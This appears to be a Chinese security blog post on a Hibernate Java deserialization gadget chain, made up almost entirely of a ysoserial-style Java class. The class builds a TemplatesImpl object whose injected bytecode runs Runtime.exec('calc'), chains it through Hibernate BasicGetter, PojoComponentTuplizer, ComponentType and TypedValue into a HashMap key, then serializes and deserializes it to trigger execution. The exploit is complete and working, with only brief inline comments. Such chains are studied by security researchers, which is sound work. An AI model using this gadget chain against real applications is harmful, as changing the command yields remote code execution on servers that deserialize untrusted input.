Hibernate反序列化利用链分析(1)

package ysoserial.payloads;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import javassist.ClassPool;import javassist.CtClass;import org.hibernate.engine.spi.TypedValue;import org.hibernate.property.BasicPropertyAccessor;import org.hibernate.tuple.component.AbstractComponentTuplizer;import org.hibernate.type.ComponentType;import sun.reflect.ReflectionFactory;import ysoserial.payloads.util.Reflections;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;import org.hibernate.tuple.component.PojoComponentTuplizer;public class M_hibernate1 {    public static void main(String[] args) throws Exception {        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";        String BasicGetter ="org.hibernate.property.BasicPropertyAccessor$BasicGetter";        //1.构造TemplatesImpl对象        ClassPool classPool=ClassPool.getDefault(); //返回默认的classpool        classPool.appendClassPath(AbstractTranslet); //添加AbstractTranslet的搜索路径        CtClass payload=classPool.makeClass("Mmuzz");//創建一個新的public類        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置创建的Mmuzz类的父类为AbstractTranslet        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec("calc");"); //创建类的初始化代码块，在代码块里执行命令//        payload.writeFile("E:/javaenv/ysoserial-master/src/main/java/");        byte[] bytes=payload.toBytecode();//转换为byte数组        Object templatesImpl=TemplatesImpl.class.getDeclaredConstructor(new Class[]{}).newInstance();//反射創建TemplatesImpl//        Object templatesImpl = new TemplatesImpl();        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段        field.setAccessible(true);        field.set(templatesImpl,new byte[][]{bytes});//將templatesImpl上的_bytecodes字段設置為runtime的byte數組        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射獲取templatesImpl的_name字段        field1.setAccessible(true);        field1.set(templatesImpl,"hello");//將templatesImpl上的_name字段设置不为空        //2.构造hibernate利用链//        获取TemplatesImpl#getOutputProperties的Method对象        Method method = HashMap.class.getDeclaredMethod("size",new Class[0]);//        创建BasicGetter对象        Constructor basicGettercon =Class.forName(BasicGetter).getDeclaredConstructor(new Class[]{Class.class,Method.class,String.class});        Reflections.setAccessible(basicGettercon);//        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(String.class,method,"fdadf");//反射創建BasicGetter        BasicPropertyAccessor.BasicGetter basicGetter = (BasicPropertyAccessor.BasicGetter) basicGettercon.newInstance(TemplatesImpl.class,method,"OutputProperties");//反射創建BasicGetter        //创建Getter数组        Class ppgetter = Class.forName("org.hibernate.property.Getter");        Object arr = Array.newInstance(ppgetter, 1);        //数组中放入basicGetter        Array.set(arr, 0, basicGetter);        //获取Refection工厂        ReflectionFactory REFLECTION_FACTORY = ReflectionFactory.getReflectionFactory();        //创建PojoComponentTuplizer对象        Class pjctclazz = PojoComponentTuplizer.class;        Constructor<?> cons = REFLECTION_FACTORY.newConstructorForSerialization(pjctclazz, Object.class.getDeclaredConstructor());        cons.setAccessible(true);        PojoComponentTuplizer pojoComponentTuplizer = (PojoComponentTuplizer) cons.newInstance();        Field fieldgetter = AbstractComponentTuplizer.class.getDeclaredField("getters");        fieldgetter.setAccessible(true);        fieldgetter.set(pojoComponentTuplizer,arr);//        //创建ComponentType对象        Constructor<?> ctcons = REFLECTION_FACTORY.newConstructorForSerialization(ComponentType.class,Object.class.getDeclaredConstructor());        ctcons.setAccessible(true);        ComponentType componentType = (ComponentType) ctcons.newInstance();        Field ctlfield = ComponentType.class.getDeclaredField("componentTuplizer");        ctlfield.setAccessible(true);        ctlfield.set(componentType,pojoComponentTuplizer);        Field ppsfield = ComponentType.class.getDeclaredField("propertySpan");        ppsfield.setAccessible(true);        ppsfield.set(componentType,1);        //创建TypedValue对象        Constructor<?> tvcons = REFLECTION_FACTORY.newConstructorForSerialization(TypedValue.class, Object.class.getDeclaredConstructor());        tvcons.setAccessible(true);        TypedValue typedValue = (TypedValue) tvcons.newInstance();        Field fieldtype = TypedValue.class.getDeclaredField("type");        fieldtype.setAccessible(true);        fieldtype.set(typedValue,componentType);        Field fieldvalue = TypedValue.class.getDeclaredField("value");        fieldvalue.setAccessible(true);        fieldvalue.set(typedValue,templatesImpl);        //3.创建hashmap利用链        HashMap hashMap =new HashMap(1);        hashMap.put("hello","Mmuzz");        Field fieldtable = HashMap.class.getDeclaredField("table");        fieldtable.setAccessible(true);        Map.Entry[] array = (Map.Entry[]) fieldtable.get(hashMap);        Map.Entry entry = array[0];        Field fieldkey  = entry.getClass().getDeclaredField("key");        fieldkey.setAccessible(true);        fieldkey.set(entry,typedValue);        //模拟反序列化        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("M_hibernate.out"));        outputStream.writeObject(hashMap);        outputStream.close();        ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("M_hibernate.out"));        inputStream.readObject();    }}